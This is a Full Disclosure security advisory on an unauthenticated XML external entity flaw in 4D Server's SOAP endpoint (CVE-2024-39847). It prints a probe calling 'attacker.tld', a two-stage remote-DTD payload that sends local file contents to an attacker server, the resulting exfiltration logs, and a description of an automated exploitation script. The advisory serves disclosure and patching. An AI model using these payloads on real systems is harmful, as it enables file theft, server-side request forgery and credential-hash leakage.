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From: David Brown via Fulldisclosure <fulldisclosure () seclists org>
Date: Thu, 30 Apr 2026 09:16:21 +0200

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Arbitrary File Read and Server Side Request Forgery via XML External Entities in 4D Server

SOAP
===============================================================================================

Unauthenticated attackers can exploit a weakness in the XML parser functionality of the SOAP endpoints in 4D server. This allows them to obtain read access to files on the application server and adjacent network shares, and perform HTTP GET requests to arbitrary

services.

Metadata
========

- - Affected product: 4D Server
- - Affected version: v20 R3
- - Vendor: 4D

- - Problem type(s): CWE-611 Improper Restriction of XML External Entity Reference

- - CVE ID: CVE-2024-39847
- - CVE URL: https://www.cve.org/CVERecord?id=CVE-2024-39847
- - CVSS 4.0 score: 8.7
- - Advisory URL: https://www.schutzwerk.com/en/blog/schutzwerk-sa-2024-002/

Details
=======

During a recent external penetration test, an application based on the 4D development platform[0] was examined. 4D Server is a component of the 4D suite, and acts as the database and application server, serving mobile and desktop clients. SCHUTZWERK identified an arbitrary file read vulnerability via XML external entities in the SOAP endpoint(s) of

4D Server.

Sending the following payload to the /4DSOAP endpoint showed that the application processes external XML entities, as requests were observed on the attack server:

<!DOCTYPE foo [
 <!ENTITY % test SYSTEM "http://attacker.tld";>
 %test;
]>

After setting up a local 4D Server instance, SCHUTZWERK was able to confirm that the vulnerability is present in the latest version of 4D Server (20 R3 at the time of writing). Additionally, SCHUTZWERK found that the vulnerability is exploitable even if

"Reject SOAP-Requests" is set in the 4D Server GUI.

Further testing revealed that a combination of error-based and out-of-band exfiltration techniques can be utilized to read arbitrary files on the application servers' file system and adjacent network shares, as well as performing HTTP requests to arbitrary URLs. This requires the use of a Document Type Definition (DTD) file loaded from an attacker

controlled server, and can be demonstrated using the following payloads:

Stage 1: XML body sent to the /4DSOAP endpoint

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY % stage1 SYSTEM "http://192.168.56.1:2121/stage.dtd";>
  %stage1;
]>

Stage 2: DTD file returned by http://192.168.56.1:2121/stage.dtd

<!ENTITY % fileb SYSTEM "file:///c:\Users\john.doe\Desktop\secret.txt">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM '%fileb;'>">
%eval;
%exfiltrate;

Server response for the request sent to the /4DSOAP endpoint:

<?xml version="1.0" encoding="UTF-8" ?>

<SOAP-ENV:Envelope SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"; xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"; xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/"; xmlns:xsd="http://www.w3.org/2001/XMLSchema"; xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance";>

<SOAP-ENV:Body>
        <SOAP-ENV:Fault>
                <faultcode>SOAP-ENV:Client</faultcode>

<faultstring>error at line 6, column 1: invalid document structure

</faultstring>
        </SOAP-ENV:Fault>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>

Requests sent to the attacker controlled server (192.168.56.1:2121):

192.168.56.114 - - "GET /stage.dtd HTTP/1.1" 200 -

192.168.56.114 - - "GET /my%20secret%20message%0D%0Ais%20super%20secret%0D%0Aand%20secure HTTP/1.1" 200 -

Depending on the file contents, HTTP requests for the exfiltrate entity may fail. On the local test instance of 4D Server (which was set up by creating a new, empty 4D application project), this was the case when requesting files containing a hashtag (#). In this case, the file contents are instead returned as part of the /4DSOAP endpoint's response message:

<?xml version="1.0" encoding="UTF-8" ?>

<SOAP-ENV:Envelope SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"; xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"; xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/"; xmlns:xsd="http://www.w3.org/2001/XMLSchema"; xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance";>

<SOAP-ENV:Body>
        <SOAP-ENV:Fault>
                <faultcode>SOAP-ENV:Client</faultcode>

<faultstring>error at line 5, column 13: unable to open external entity 'http://192.168.56.1:2121/# my secret website

- - http:/secret.tld/bar'
</faultstring>
        </SOAP-ENV:Fault>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>

For some file contents, exfiltration using these methods will not succeed. However, depending on the application, exfiltration could still be achieved utilizing application

specific SOAP functions accepting data tags.

The script 4d-xxe.py[1] was developed in order to aid in automated exploitation. It utilizes Flask[2] to start an exfiltration server on port 2121, and a query endpoint on

port 1337. Once started, files can be requested by issuing a GET request to

http://127.0.0.1:1337/<target URI>

which will send the appropriate XML payload to obtain the specified resource:

$ curl '127.0.0.1:1337/http://192.168.56.114'
<?xml version="1.0" encoding="UTF-8" ?>

<SOAP-ENV:Envelope SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"; xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"; xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/"; xmlns:xsd="http://www.w3.org/2001/XMLSchema"; xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance";>

<SOAP-ENV:Body>
        <SOAP-ENV:Fault>
                <faultcode>SOAP-ENV:Client</faultcode>

<faultstring>error at line 5, column 13: unable to connect socket for URL 'http://192.168.56.1:2121/<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd";>

<html>
[...]
      <td class="grayborder">
        <h2 align="center">Welcome to your 4D Web Server default home
          page!</h2>
        <p align="center">This is the <strong><b>4D Web Server</b></strong>

default home page. This <strong>test page</strong> is served by 4D

          Application.</p>

<p align="center">If you are the webmaster, congratulations! Your Web server is up and running. You are seeing this page because you have not yet replaced the default &quot;index.html&quot; file with your actual

          home page.</p>
        <p align="center">Instructions for configuring your 4D Web
          Server can be found in the included documentation.</p>

<p align="center"><b>IMPORTANT</b>: This Web page or Web site is neither owned nor administered by 4D SAS or any of its subsidiaries. Please contact the owner/webmaster of this site to report any problems with it.</p> <p align="center">&copy;1995-2024 4D, Inc., 4D SAS and its Licensors.<br>

          All rights reserved.</p>
       </td>
[...]
</html>
'
</faultstring>
</SOAP-ENV:Fault>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>

This enables the use of any web directory enumeration tool to exfiltrate files and/or

perform "proxied" HTTP requests.

Risk
====

An attacker can use the vulnerability to gather information and, depending on the stored data, exfiltrate secrets from the file system and adjacent SMB shares. Furthermore, HTTP requests can be used for out-of-band exfiltration and server-side request forgery (SSRF) attacks. Utilizing the SMB protocol could also lead to leakage of the user's NTLM or SSP

hash.

Solution/Mitigation
===================

Update to 4D Server 20 R7 or higher.

Timeline
========

- - 2024-06-17 Vulnerability discovered
- - 2024-06-24 Attempt to contact vendor, no response received
- - 2024-06-25 CVE ID requested
- - 2024-06-29 CVE-2024-39847 assigned
- - 2024-07-04 Attempt to contact vendor again, no response received
- - 2024-07-09 Attempt to contact vendor again, no response received
- - 2024-07-16 Attempt to contact vendor again, no response received
- - 2024-07-22 Attempt to contact vendor again, no response received
- - 2026-04-29 Advisory published

Credits
=======

The vulnerability was discovered by Marcelo Reyes of SCHUTZWERK GmbH.

Footnotes
=========

[0] https://4d.com
[1] https://www.schutzwerk.com/blog/schutzwerk-sa-2024-002/4d-xxe.py
[2] https://flask.palletsprojects.com/en/stable/
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--
SCHUTZWERK GmbH, Pfarrer-Weiß-Weg 12, 89077 Ulm, Germany
Zertifiziert / Certified ISO 27001, 9001 and TISAX

Phone +49 731 977 191 0

advisories () schutzwerk com / www.schutzwerk.com

Geschäftsführer / Managing Directors:
Jakob Pietzka, Michael Schäfer

Amtsgericht Ulm /  HRB 727391
Datenschutz / Data Protection www.schutzwerk.com/datenschutz

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Current thread:

• SCHUTZWERK-SA-2024-002: Arbitrary File Read and Server Side Request Forgery via XML External Entities in 4D Server SOAP (CVE-2024-39847) David Brown via Fulldisclosure (May 17)